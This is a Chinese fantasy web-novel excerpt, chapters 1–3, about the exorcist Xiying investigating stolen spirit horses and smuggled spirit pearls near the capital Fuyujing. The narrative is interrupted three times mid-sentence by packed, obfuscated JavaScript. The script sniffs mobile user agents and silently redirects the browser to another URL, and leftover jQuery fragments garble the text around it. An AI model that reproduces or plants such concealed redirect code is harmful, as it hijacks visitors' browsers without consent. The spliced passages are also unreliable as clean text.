《阴湿男徒自封遗物》 1. 魂兮归来 大陆分九州,大大小小的驱魔师宗门遍布其中。 中州州治名为浮玉京。孟姣镇则是浮玉京郊最为繁华的小镇。 今夜,有路财神爷扎堆进了孟姣镇的龙吟客栈。 原来是天宝商行的马掌柜,问九皋宗雇了三名驱魔师,二女一男,随商队帮工与镖师共二十名,将十车百年老山参自华安郡运往浮玉京,路过此地暂歇一晚。 人多货多,天宝商行财大气粗,马掌柜干脆将龙吟客栈整个包下一夜。 马掌柜身着褐色锦袍,长髯乌黑,左手拇指戴有一枚富贵逼人的扳指,豪横地提起一箱铜钱,抖了抖全倒在柜台上:“客房酒菜别寒碜,爷不差钱!” 柜台里,龙吟客栈的孟掌柜头戴一朵纯金牡丹花簪,笑吟吟数着案上堆着的十贯铜钱。 “齐活儿!房已备好,客官先歇息片刻!待好酒好菜备齐我亲自给您送来!”孟掌柜热火朝天地招呼着店里小二们给一行人带路,忽然,她似记起什么,脚步一顿,回头正色道,“对咯,客官还有什么需要招呼一声便是,别自个儿上街去瞎溜达了嗷!” 驱魔师溪影关上房门,店家送来的酒菜一口未动,便直直走向窗棂抬头往外一瞧—— 只见玉盘高悬,却被一团黑影悄然蚕食出个缺角。 溪影暗道:“她来了,我该走了。” 今夜三梆子哑然,连打更人都告了假。 子时过,长街空巷,夜风微拂,树影婆娑,无人注意的角落,一柳清瘦身影悄悄潜上了龙吟客栈屋顶。 溪影面朝残月,眼神空洞,身形似提线木偶般一举一顿,她布下结界,单独在屋顶开辟出来一个带穹顶的隐形空间,同时口中念念有词。 一结印:“形赠影——” 月影愈发铺开,最后一弯明月牙终于也没入本影。 属于溪影肉身的影子骤然消失。 二布阵:“影答形——” 然影月幽辉不减,反生赤华。 与此同时,有两缕轻薄黑影一进一出,自溪影印堂穿过,背道而驰。 三祷告:“神释!” 皎皎明月已全然化为血珀。 中元夜,血蚀月。 两缕黑影完全错开,离去的飘向虚空渐行渐远,归来的全然没入印堂,随着影尾消失,在溪影眉心落下一点观音痣。 “……纵浪大化中,不喜亦不惧。应尽便须尽,无复独多虑。” 溪影阖上双眸。 再次睁眼,“溪影”灵台清明,已判若两人。 溪影用手指摁住眉心,往上一抹,朱砂般的观音痣顷刻隐匿消失。 溪影打了个响指,结界消失。她轻踩屋瓦,小心驯服这副被束之高阁十余年的四肢,血月映照下,身姿好似一出技艺不甚高超的皮影戏。 忽然,后院传来异响,溪影的耳朵动了动,正要回房的脚步拐了个弯,往后院拐去。 后院马厩前围着三五个提灯笼的人,为首的鬓边牡丹反射出耀眼金光,正是龙吟客栈的孟掌柜。 马厩旁有一棵葳蕤高大的罗汉松,溪影悄悄上树,客栈几人的谈话声不远不近地落入她耳。 “几时跑的?跑了多少?” “不知道……全跑了,一个不剩……” “掌柜的,这这这、这可如何是好?” “不许慌!不许声张!”孟掌柜冷静点人头,“你、你、还有你,立马叫上人与我出去寻!” “这个点?”一人迟疑道,“掌柜的,要不还是等天亮罢?” “等天亮?”孟掌柜说一不二,“等天宝商行的人醒了来问责么?到时候说出去,我龙吟客栈将客人的马匹全弄丢了,砸了招牌,你们谁担待得起?” “今晚是哪个杀千刀的给马厩最后上的锁?” “掌柜的,这可不关我们的事!”一人虚虚推卸说道,“今天七月半,闹鬼,定是有邪祟作怪!” 孟掌柜厉声道:“呸!放你爹的屁!我们客栈又不招邪祟……再说,浮玉京有天驱宗镇守,谁家邪祟敢作怪?” “可是……” “邪祟何在?”一道温婉干净的女声倏地响起。 店小二猛一抬头,被树枝上缓缓降下的长发人首骇出了划破长空的惨叫。 “鬼——鬼啊——” 原是溪影没调整好姿势而跌落,双腿一勾,倒挂在了树上。 “什么人?!”孟掌柜长鞭一甩,“竟敢在老娘的地盘装神弄鬼!” 溪影灵巧地躬身躲开,同时竖着来了个鲤鱼打挺,荡起身子在空中翻转一周,双脚稳稳落地。 溪影欣慰自语:“这回手脚终于好使了。” “定是你这小贼盗马!还敢自投罗网?!”孟掌柜又待一鞭甩出,“找死!” 一人拦住孟掌柜:“掌柜的等等!这好像……是跟天宝商行一起来的驱魔师……” “啊?”孟掌柜这才定睛一瞧,迅速收回鞭子,“果然是……这么晚了,天师怎会在此?” 溪影一挑眉,不答反问:“发生何事?” “无事,小事……”孟掌柜说着,暗暗朝身边人递眼色。 几个店小二立即围过来,试图挡住溪影看向马厩的视线。 修行之人耳聪目明,溪影瞬间恍然大悟:“哦,原来是马丢光了。” 孟掌柜的心凉了半截,她央求道:“天师,求你先别惊动旁人,我立即带人去寻……若找不回来,该赔的我们一定赔!” 溪影不置可否。 怕溪影不信,孟掌柜又大言不惭补充道:“我们庄子上比这品相好的宝驹不止十匹,龙吟客栈赔得起!也绝不抵赖!” “好,”溪影颔首,望着孟掌柜的眼睛真诚道,“不过,要赔的话,寻常的马恐怕不行,这十匹白马是已经服食灵珠修行过的灵驹……嗐,掌柜的你们客栈运气着实有点背,一般的商行是不会铺张浪费到用灵驹拉货的……” “什么?!”孟掌柜如遭雷劈,“你说丢的十匹全都是灵驹?!” “是从我们九皋宗借出去的灵驹,”溪影拍胸脯保证道,“全部登记在册,如假包换。” “其实培养出一匹灵驹也没什么大不了的……”溪影见状不妙又安慰道,“只需要降伏九九八十一头玄级以上邪祟,十匹就是八百一十头……取邪祟内丹炼化成灵珠,再从您庄子上选出十匹上乘宝驹,一日一粒灵珠喂它们服下,若都没有爆体而亡,就算是天赋异禀不经修炼便能承受住灵珠灵力的天选速成灵驹,完全抵得上跑丢的那些……只是不知,诸位现在改行做驱魔师,还来不来得及?” 闻言,孟掌柜顿感人生无望,几欲栽倒。 下一瞬,她看向溪影。 “你是驱魔师……”孟掌柜眼波一转,计上心头,“今夜这些灵驹定是为邪祟所盗……这是你们驱魔师的失职,与我龙吟客栈无关!” “邪祟?”溪影笑吟吟地看着她,“孟掌柜方才不是还说,凡天驱宗镇守之处,无邪祟敢作乱么?” 孟掌柜在道上摸爬滚打十余年,虽不会驱魔捉妖,却早已修炼成一根老油条,回旋镖扎来,她也能回敬溪影一个油滑而不怀好意的笑:“说不准,这邪祟正是跟着你们才入了浮玉京。” 谁料,溪影竟也不恼,反若有所思道:“孟掌柜言之有理。” ………… 慕栀和鹿南是半夜被溪影叫醒的。二人与溪影皆为九皋宗驱魔师。 “你说什么?十匹灵驹?!九皋宗总共就这十匹灵驹,每一匹都是我精心照料喂养出来的……”鹿南看着空荡荡的马厩,惊疑到破音,“全都不见了?!” “弼马温低声些,”溪影捂住临近鹿南的那只耳朵,“你想将商行的人全都吵醒么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688857|188861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>慕栀若有所思地看向溪影,溪影不着痕迹地冲她轻轻一点头。 “说谁弼马温?!”鹿南一愣,“诶?你这闷葫芦怎么……” 溪影倒打一耙:“诶,我发现罢……你这人特较真。” “好了好了,都少说几句,先别惊动马掌柜。”慕栀收回目光,挡在溪影与鹿南中间劝道,“当务之急,是赶在天亮前将灵驹寻回。” “谁跟她一般见识!”鹿南冷哼一声,将头扭向一边,“说得轻松,上哪儿去寻?” 溪影问:“你们半夜可曾听到过什么奇怪的声音?” 慕栀认真回忆了下,确定道:“没有。” “哪有什么声音?”鹿南道,“七月半人人自危,街上连个人影都没有……” “你们看马厩的门……”溪影说着又走到后院门口,指着门锁,“和后院这道门。” 慕栀提着灯笼凑过来,看见完好无损的门锁,蹙起眉:“难道这盗马贼既有马厩的钥匙又有院门的钥匙?那他会不会就是龙吟客栈的人?” “龙吟客栈的都是普通人,能在我们三个驱魔师眼皮子底下神不知鬼不觉弄走十匹灵驹?”溪影沉思道,“恐怕这盗马贼修为远在我三人之上……若只是盗马倒还好说……” 溪影说着,抬头与慕栀对视一眼。 慕栀忽然意识到什么:“那十车货可还在?” 龙吟客栈专程在马厩后辟了一片空院子供往来商贩囤放货物,天宝商行投宿时便将车与货都停放在此院中。 鹿南赶紧问孟掌柜拿了钥匙,打开院门一瞧——空空如也,十车人参连货带车早不翼而飞。 “那么大的十驾马车也能丢?”鹿南气急败坏地指责孟掌柜,“你们龙吟客栈该不会是家黑店——在这儿监守自盗罢?!” 孟掌柜忙不迭将客栈摘出去:“胡说什么?!都说了定是有邪祟……” “车要怎么走才顺当?当然是靠马拉——”溪影打断孟掌柜,“说不准盗马贼真正的目标不是灵驹,而是这十箱老山参,盗灵驹的目的,是为了能顺利运走人参……可邪祟大多灵智混沌,行事会如此缜密么?” “而且灵驹认主有灵性,怎会轻易受邪祟指使,老老实实地自己挂上马车就将货拉走了?”慕栀听明白了,跟着分析道,“说不定盗马贼并不是什么邪祟,而是咱们同行?” “事出反常,必有人在背后作妖。”溪影目光如灼。 此行九皋宗三人,以慕栀「地乙」的修为最高,便暂认她为首。还剩两个时辰便要天亮,慕栀迅速安排道:“鹿南守在客栈,我与溪影外出探查,若两个时辰后未归,你务必安抚好马掌柜,若是不行……若是不行那就再说!” 慕栀说完便拉着溪影快步走出客栈。 鹿南两眼一瞪,在她们身后追着问:“为什么是我?” 溪影抽空回了个头,一本正经对鹿南道:“你可是九皋全宗上下的希望。” ………… 自孟姣镇往西通往棠渡镇的龙潭道上,正整整齐齐地摆着一列拉车的马。这些马通身雪白,品相比之高门大户豢养的宝驹还要高大健硕不少。 正是九皋宗丢失的灵驹。 无一人在车辕上驾驭,灵驹便自己规规矩矩地走成一条直线,有条不紊地朝着同一个方向行进。而在最前方给这列灵驹领队的,竟是一头瘦小干瘪的花毛驴。仔细看,花毛驴背上还驮着一个无知无觉的身着锦袍的人,垂手垂脚地搭在驴背上,看不出是死是活。 淙淙流水声袭来,花毛驴循着水声,走向经过龙潭道的雾纱江,领着灵驹在江岸站定等待。 毛驴与灵驹就这么安安静静地等了几个时辰,忽然,江岸一棵树上跳下一黑衣人,一脚将花毛驴背上那人踹落地上,而后黑衣人拎起那人后领,将人拖至江边…… “噗通”一声,有重物坠落水中。 2. 雾纱初见 “慕栀姐姐,”刚走出二里地,溪影停下道, “可否拜托你回去暗中监守龙吟客栈,我总觉得有什么地方不对劲……单留鹿南那厮一个人,靠不住。” “你……”慕栀看了她一眼,犹疑问,“你才刚回来……一个人可以么?” “无妨,”溪影冲她一点头,神色平静,“浮玉京,我再熟悉不过。” “那好罢。”慕栀话音刚落便利落折返回去。 慕栀走后,溪影单手捻了个诀,便有比黑夜更黑的影子自她足下延伸出来,千丝万缕连接起一圈又一圈花草树木的阴影,以她为中心,蛛网似的向外扩张。 蓦地,一片树叶落下,往正西方向延伸的一缕“蛛网”颤了颤。 溪影盯着树叶落下的方位,目光如火如炬,了然于心—— 原来躲在那处。 溪影另起一诀,清瘦的身影融化般消失在了阴影里。 ………… 七月十五,卯时一刻,浮玉京的喧沸始于一声惊骇的尖叫。 声音来自一名挑水夫,名为阿四,他是整座州治最早开始劳作的人之一。 阿四打水归来,路过浮玉京中心的洞天湖,发现湖中有一具浮尸。 起初距离远,阿四没看清,光凭颜色以为是一个麻袋,还想着捞起来看看有无漏可捡,等阿四拿竹竿将麻袋勾至近处,才惊觉,那竟是一具漂浮的尸体! 浮玉京繁华,人口众多,阿四的叫声很快引来许多人围观。有几个胆子大的合力将浮尸捞上岸。 死者身着锦袍,却不是浮玉京时兴的款式,左手拇指戴着一枚上等成色的金镶玉扳指,长髯覆面,遮住了五官,从裸露在外的手部状态来看,应当是中年人,从体格上看,大概率是一具男尸。 一人道:“奇怪,尸体竟还是软的,难道才咽气不久?” 众人围着尸体,七嘴八舌地议论着。 一老者还算处变不惊:“这是被淹死的罢?” “不知道,看衣裳像是个外乡人,大清早的怎么会淹死在河里?” 一人猜测道:“半夜吃醉了酒,不小心掉进去的罢?” 一人摇摇头,表示不赞同:“你忘啦,昨夜宵禁,城里酒楼都不开,哪有酒疯子上街?” 一人面露惊惶之色:“若是半夜掉进去的……早该僵了……” “嘶……”头一人倒了一身寒毛,“那他是从哪儿冒出来的?大清早的你别在这给我讲鬼故事!” “没人认尸……”一人从震惊中回过神,“得报官!” 六扇门很快来了三名捕快,随行的还有一名仵作。 名为秋香的仵作就地撩开了尸身覆面的长髯,饶是她从业以来已见过不下百具形态各异的尸首,还是被眼前之景吓得跌坐在了地上。 只见,死者双目圆睁,充血的眼白已全然发黑与扩散的瞳孔融为一体难分边界,似在人脸上开了两个骇人的黑洞,面孔呈暗紫色,自眼眶开始,有阴暗不详的咒纹扩散,密密麻麻、纵横交错地蔓延至面孔的每一个角落。 “这、这是恶诅!”仵作秋香连连倒退,但仍秉持着职业素养道,“是邪祟害人后留下的恶诅!” “邪祟杀人啦——快逃哇——” 闻言,围着尸身的人群立作鸟兽四散。 有人脚下一边逃命似的疾奔,嘴上还不忘啐道:“晦气的外乡佬,竟然把邪祟带上浮玉京来了!” 一张姓捕头碍于身份不便跟着逃跑,强忍恐惧道:“浮玉京已十年没出现过邪祟伤人的事件了,得赶紧将此事禀告给天驱宗!” 秋香对张捕头道:“我与你同去!” 半个时辰后,城天驱宗驻城办事处。 张捕头在门口叫住了一名气质出尘的女郎:“颜司判留步——” “……邪祟伤人?”颜柳是天驱宗大宗主座下二弟子,现任天驱驻城办司判,她听二人描述了早上发现尸体的整个过程,沉思道,“尸体在何处?快带我去。” 未料到竟无须走复杂拖沓的流程,张捕头面色一松,忙道:“尸身停放至六扇门,请司判天师随我们前去。” 颜柳回头点了两名同门:“你二人,迅速拿上裹尸袋与我走一趟。” ………… 一缕黑影从人参上渗出,凝成一个人影,进而有了实体。 溪影在一片黑暗中睁开了眼。她伸手往周围一探,发现自己正躺在山参之中。 溪影刨开山参,挺身往上蹭去,不留神,头一下子撞上了一面厚实的木板。溪影伸手四处摸了摸,发现自己正身处马车货箱中。 才施展了化影之术,以她这副身躯目前修为,半日内不可再施展第二次,所以她暂时无法无声无息地从箱中溜走。 溪影抬手,用了力道去推,箱盖纹丝不动。 被从外面上锁了么? 溪影凝神一听,箱外寂静无声,没有活物——特别是生人存在的气息。她松了口气,单手捻诀就要破锁而出,谁知这口货箱竟被下了禁制,将她的法术弹了回来。 溪影静默片刻,后知后觉,箱外实在太安静了,安静到像刻意为之。 难道箱外设有结界? 可木箱既然已有防止打开的禁制,箱外为何还要画蛇添足再加一层结界? 溪影集中心念——箱外世界是模糊而寂静的,还带来阵阵寒意。 箱子被藏在了什么地方? 而后,溪影听见了水流声。并非那种站在岸上听到的流水声,而是浸没其中,被水流包裹而又经过的声音。 货箱竟被藏于水中! 几乎是瞬间,溪影就想到了雾纱江。 百年人参确实值不少钱,可天宝商行比这更稀罕之物多了去了,都不曾得到此等待遇。这贼人修为比起九皋宗的“溪影”只多不少,何苦耗费如此心力,只为偷几箱人参藏于河底。 她方才触碰了此禁制,不出意外,设下禁制之人能感知到,若再不出意外,此人会赶来查看。 溪影不想先打草惊蛇,于是决定给别人一柱香时间,一柱香过后若无来者,她只好放弃守株待兔,施法强力破除禁制了。 溪影心中默数着时间,半炷香时间过去,她感受到箱外不远处,猝然出现了一个陌生的气息。 是那盗马贼? 溪影感知到来者靠近,试图开箱,却被禁制阻拦。 不是设下禁制之人?! 怪哉! 电光石火间,溪影与那人同时捻诀——“砰”的一声,箱盖弹开,溪影有所控制,只开不毁。 霎时,一抹宝蓝身影鬼魅般靠近,溪影嗅到危险气息,当即从袖口滑出一把血糯米兜头撒出—— 血糯米下,是一张工笔画般的脸,浓墨重彩入眼,令溪影呼吸一滞! 亲娘老子嘞,遇到绮靡水鬼啦?! “水鬼”倏地一把捉住溪影手腕,溪影当即一惊:温热的?是活的? 然而危急关头,本能比头脑反应更快,溪影掌下蓄力猛然往身前一推,恰好击中“水鬼”胸膛,不知是不是错觉,溪影感到掌下心跳与她的脉搏竟在这一瞬发生了共颤。 溪影仰头,目光与之相撞,那人瞳孔一缩,眼底似含有巨大苦楚,当即喷出一口血来,松开手踉跄着连退两步。 都被溪影触碰到了心跳,这真是活人没跑了,溪影这才翻身跳出货箱,回手便合盖锁上,而后三步并作两步到那人身前,惊讶又愧疚道:“罪过罪过,原以为我没使多大劲,不曾想竟给你拍出内伤来了,你、你可需急救?” “别……”那人挡开溪影伸出的手,扭头拭去嘴角狼狈的血迹。 溪影识趣地停住脚步,闭嘴打量。 一个呼吸后,那人不着痕迹后撤半步,才扭回头看向溪影,面上已恢复平静:“我无碍……并非为阁下所伤。” 此人一开口,溪影才听出是位男子。 那男子一拂袖正色道:“阁下何人?为何在箱中?” “我…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688858|188861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”溪影避重就轻道,“我是运这箱货物的镖师……你、阁下又是什么人?为何突然出现在此结界中?” 男子拿出一枚刻有金乌纹样的玉牌:“在下乃是天驱宗驱魔师,觉察此处有异,前来查看……可否请教阁下门派?” 此地是天驱宗辖区,他既已自证身份,溪影就没有隐瞒的必要了。“原是天驱宗的天师,幸会——”溪影向他见礼道,“九皋宗,溪影。” “九皋宗……”他愣了一愣,似又随口一问,“请问是哪个溪字?” 溪影没料到他会问得如此仔细,微微一愣:“溪水的溪。” “竟然是‘溪水的溪’字,用作姓氏倒是少见,”他亦朝溪影拱手,略尴尬着轻笑一声道,“在下沈氤,孤陋寡闻,教溪天师见笑了。” 沈氤只寒暄一二,便直言:“既是充当镖师运货,溪天师为何会将货运往这雾纱江底?另外,这箱中之物究竟有何特别之处?” 溪影心道:猜得不错,果然是雾纱江。 “实不相瞒,”溪影道,“我九皋宗三人此番受天宝商行所托,走镖入浮玉京,在京郊孟姣镇却半夜遇贼将东家的十箱货品悉数盗走,我一路追踪至此,暂藏于箱中,等那贼人回来取货,不想却等来了沈天师。” 不等沈氤开口,溪影又话里有话道:“沈天师当真好神通,这样难寻的地方竟也让你寻到了。” 沈氤噎了一噎,眼神却不躲不闪地望向溪影:“结界是天师设下的?” “在下哪有这般本领?”溪影怕自作聪明反倒弄巧成拙,便如实道,“应当是那盗贼。” 岂料沈氤扯回话头:“箱子里面装了什么?可否容沈某打开查验一二?” “这是东家的隐私,”溪影轻轻笑了起来,“我们九皋宗门虽小,却也是要谨遵职业操守的。” 闻言沈氤垂下眼眸,看不出情绪。 “抱歉,是沈某失礼了。” 溪影撂下他,检查了一遍四周环境,确认了暂无异样。贼人在河底撑开了一个避水结界,此贼所筑结界质量很是不错,还能兼顾照明。结界外是溪影鲜少涉足的世界,溪影被一幕不见边际的幽绿所笼罩,悬浮的泥沙与藻类是这个昏暗而模糊世界的主体,时不时会有一些鱼类残骸从溪影眼前飘过或沉入底部铺满的沙砾与岩石中。岩石之间有缝隙,藏着各种溪影叫不上名字的水生生物,或青灰,或黄褐。 于溪影来说,相较于江底世界这样昏晦到难以捉摸的奇观,还是沈氤这等天人之姿美得更加直观。 可她暂无暇欣赏。 溪影在结界内走着丈量一圈——除却货箱,结界内剩余空间可容纳溪影这般身材的三至四人坐下抻抻腿,在江底张开这般规模的结界可不轻易,溪影猜测,这是团伙作案。 而后溪影在与沈氤隔了一人宽的角落坐下,不动声色地观察着他。 天驱宗,沈氤。 溪影听说过他。准确来说,是一代的“溪影”听说过,二代“溪影”移魂换影而来,保留了一代的记忆。 作为驱魔师,若光是容貌出众或许不足为奇,甚至还可能招致轻慢对待,可若加持上卓绝的实力,那么大概率是要声名远扬的。 然而,沈氤乃是天驱宗大宗主座下首席弟子,江湖流传,他十七岁才拜入师门,却在三年后修为就达到了「天级甲等」成为名副其实的天师,可谓是百年难遇的天生奇才。 然而这样一位少年天才,竟会被溪影一掌打到吐血? 十年前,溪影离开天驱宗时修为尽失,如今只不过是「玄级丙等」的三流驱魔师。 难怪沈氤说受伤与她无关…… 针对沈氤一通揣测,溪影却始终留了一根心思在那箱子上。她当然知道箱中货物不一般,早在她躺在那堆人参上就感觉到了强烈的灵气波动。 溪影释出影子查探过,在这堆价值不菲的百年老山参下,掩盖着更有市无价的东西——灵珠。 难道,沈氤也是为了这批灵珠而来? 3. 初入京门 溪影在打量沈氤的同时,沈氤也在克制地将探究的目光投向她,却刚好被溪影逮个正着。 “我有一个不情之请,”忽然,溪影打破了这片刻的宁静,她脸不红心不跳地踱步至沈氤跟前道,“沈天师可否将我带上岸去?” “溪天师进得来,却出不去?” “我不是自己进来的,自然也无法自己出去。” 沈氤抬眉问:“何意?” 溪影脑筋一转,张口便道:“我藏于箱中时,箱子在岸边,后来不知怎么的,我晕了过去,醒来就在这江底了。” “从头到尾都没见过那贼人?” “从头到尾都没见过。” 沈氤又问:“天师走了,天师东家的货物怎么办?” “我还有两位同门,正是想上岸找他二人来一同将东家的货运回。” 沈氤不置可否,只露出一个意味不明的浅笑。 美人莞尔,最是赏心悦目。 溪影却在心下暗啐:若非你这家伙突然冒出,我何必遮遮掩掩? 但在面上,溪影也跟着露出一个恰到好处的狗腿笑:“应当只有沈天师这般的本事才能够将在下不打草惊蛇地带走了——何况天驱乃位列五大宗门,天师出手保护一下我们这些小门小派,也不失为一段佳话。” 沈氤的笑意更明显了些,却摇摇头道:“不行。” 溪影刚欲问为何,就隐隐感觉到结界在发生微妙的变化,空间似乎在一寸寸缩短。 不好,难道那贼人是在远程施术,打算将入侵者挤死在这结界中?! 果然,贼人已然察觉,他们费尽心思打造的藏脏处教人给发现了。现在是打算杀人灭口么? 沈氤显然早有察觉,但他不为所动,目光落在箱中。 溪影心下一寒:他果然是冲这批灵珠来的! “抱歉,不打草惊蛇是做不到了——”就听沈氤又道,“得罪了——” 说罢,不等溪影反应过来,沈氤边单臂揽住她肩膀,同时抽手在溪影后背贴上一纸符咒。 溪影扭头却瞥见,沈氤揽住她的手指蜷缩着,正微微发颤。 而后沈氤足尖一点,直直跃至结界最高点,再迅速捻诀,他手中瞬间便多出了一面精美的鱼纹银镜。 镜光一闪,溪影顿感天地颠倒,巨大的眩晕感迫使她闭上了眼。 再一睁眼,只见霞光初现,杨柳依依,已然回到了岸边。 二人落地站稳后,沈氤便撤了手臂,身长玉立,低垂眼眸看着溪影。 溪影迅速适应好位置变换,对沈氤道:“好厉害的法术,多谢沈天师。” “客气,”沈氤微微颔首,“既无他事,沈某先告辞了。” 沈氤提步欲走,溪影却叫住了他。 “诶,你说那贼人会不会返回看我们……”以沈氤的修为必不会丧命于那贼人的雕虫小技之下,溪影吞回个字,才道,“看我死没死?” “有可能罢。”沈氤停下脚步,朝溪影投来探究的目光。 “能否劳烦沈天师帮我在此地蹲守,一旦发现贼人,可及时将他拿下,”溪影厚着脸皮道,“我回去找同门来打捞货物。” “恐怕不行,”沈氤略带歉疚地笑了笑,“宗门有事,沈某须得回去了。” “好罢。”溪影露出遗憾的表情,朝他挥了挥手,“告辞。” “抱歉,若下回相见,沈某再为溪天师补做一件事。” 沈氤留下这句话便离开了,留溪影愣在原地。 溪影一头雾水:本就是我过分要求,怎的反成他欠我的了? 莫名其妙。 不过沈氤离开得干脆利落,溪影倒是默默松了一口气。 眼下还有更要紧的事,溪影暂且将沈氤的怪异之处搁置一旁,纵身跃上一棵高树,抛出一个九皋宗独有的信号筒。 怎料,她却先看见了慕栀放出的信号烟花。 “不好,龙吟客栈出事了!” 溪影匆匆赶回客栈,没有直接从大门进去,而是先悄悄在客栈外与慕栀碰头。 “马掌柜失踪了。”慕栀简明扼要道,“我回去后一直潜伏在客栈周围,没见到有人出入。我怀疑马掌柜是在我俩同时离开的那一小段时间内不见的。” “嗯,很有可能,”溪影皱眉略一思索,“但也可能是在更早之前……” “你说的也对。”慕栀继续道,“我悄悄找到鹿南,他将客栈所有的房间都排查一遍后告诉我,马掌柜的窗户上有消音符的残迹。” 溪影警觉:“只有马掌柜的窗户上有么?” “鹿南只在马掌柜的房间上发现了,但我怀疑我们每个人的房间上都有,否则为何灵驹与马车失踪时,大家都没听见声?”慕栀看向溪影,忽然想起什么,“对了,你、你那什么的时候,可有在院子中听见什么没?” “不曾,”溪影如实道,“仪式是在结界中完成的,为避免中断,隔绝是双向的。” “原来如此。” “你看。”溪影从腰间佩囊中摸出一枚鸽子蛋大小晶莹剔透的圆珠,递到慕栀跟前。 慕栀惊讶道:“天品灵珠?!你从何处得来的?” “我在雾纱江底找到了一箱人参,而那箱子下有一个隔层,里面藏了半箱的天品灵珠。” “藏在江底?”慕栀着实有些震惊,“怎么弄下去的?” “货箱外还罩着一层避水结界,这群贼人法术高强,应当是先用结界包裹货箱,再使整个结界一同沉入江底。” “好狡猾的贼人!”慕栀蹙着眉,又想到了更为严重的事情,“等等!你是说天宝商行在走私灵珠?” “灵珠出入不同宗门辖区需要审批,且若非驱魔宗门,寻常商行除非有天字号宗门的特批文书作担保,否则不得买卖灵珠。”溪影道,“马掌柜这个时候失踪——你说,这件事,会不会是他背着商行干的?” 慕栀道:“……当务之急还是尽快找到马掌柜,我总有种不详的预感……” “好,”溪影道,“让鹿南继续守住客栈,若发现可疑之人立即拿下。” 慕栀当即明白了她的意思:“你也怀疑那贼人是客栈内部的?” “不错,”溪影道,“让鹿南先守好,你我二人即刻入城报失踪。” ………… 溪影与慕栀辰时三刻赶到浮玉京南城门口,此时距离发现灵驹失踪已经过去了大约四个时辰。 城门今日格外戒严,出入都有官兵与天驱宗门人查验身份。 溪影拉着慕栀去入口排队,顺路跟身前的一位满头花白的老妪打听道:“婆婆,查这么严,近日城中发生何事?” “你是外乡来的罢?”老妪张嘴便是地道的浮玉京腔,回头上下打量溪影一眼,撇撇嘴道,“同为驱魔师,叫什么‘婆婆’?” “抱歉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688859|188861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱歉,”溪影朝她一拱手,从善如流道,“敢问天师贵姓?” “鄙姓洪。” “见过洪天师,”溪影半哄半真道,“我姐妹二人自华安郡而来,初登贵地,一头雾水,烦请洪天师指点一二。” 驱魔师共分「天」、「地」、「玄」、「黄」四个大级别,除却刚达到入门资格的「黄」,其余三大级又分「甲」、「乙」、「丙」三等,综合起来,驱魔师一共分十等。 从前只有达到「天」级的驱魔师才有资格被称作“天师”,现如今“通货膨胀”,但凡沾上驱魔的边,大家人人平等,通通互称“天师”。 老妪被这左一句“洪天师”右一句“洪天师”哄得舒坦,傲娇地叹了口气,道:“好罢好罢,看你二位女郎年纪小又是远道而来,我先说说情况让你们心里有个底。” 洪天师猫似的望了巡查口一眼,又耗子似的缩回头,冲溪、慕二人招招手。 溪影与慕栀配合地猫着腰将头凑拢去,洪天师压低声神神秘秘道:“今早城里死了一个外乡人,身上有恶诅,是被邪祟害死的!要知道,自从天驱宗谢大宗主上任后,浮玉京已经十年没出过邪祟害死人的事情了,今早这具尸体那可是引起了天驱宗的高度重视,正在严查可疑人员……” “恶诅?” “邪祟?” “嘘!小点声!”洪天师警惕如做贼般呵斥二人道,“那尸体从湖里捞起来时我就在现场,亲眼看见他脸上的恶诅,老太婆驱了半辈子的魔,怎么会不认得那个东西?” 说着,洪天师又点了点溪影:“我是看你有眼力劲才告诉你,你可别出去瞎说!” “放心罢,我们懂的——”溪影抬手指了指天,用十分市侩的语气道,“一切等官方通知。” “这还差不多!”洪天师两手一拍,终于露出了放心的表情。 “对了,”溪影又道,“洪天师在哪里高就?是天驱宗么?” 闻言,洪天师面露赧颜:“嗐,老婆子我早就退休了,不提了——对了,你们姐妹二人又是哪门哪派的?” “我们啊……是九皋宗来的。” 溪影话音刚落,洪天师方才还矮下去的气焰陡然蹿高八斗,看向二人的眼神还另带一股鄙夷之色,脚下趔趄往前,与“姐妹二人”拉开一段距离。 见状,溪影回头望了慕栀一眼,无奈地摸了摸鼻子,慕栀一摊手,表示见怪不怪。 一直到洪天师通过查验入城,都不曾再跟溪、慕二人多说一个字。 溪影和慕栀拿出九皋宗的文牒,为首一人接过,先是仔细比对二人画像,后又认真审查了九皋印章,又分别将两道小小的计时符咒贴到二人文牒上,才将文牒还给她二人。 “身份无异,即时起,入城至多可停留六个时辰,切记入夜前必须离城,否则将论罪处置!” 好不容易才入城门,溪影领着慕栀,熟门熟路地往某处而去。 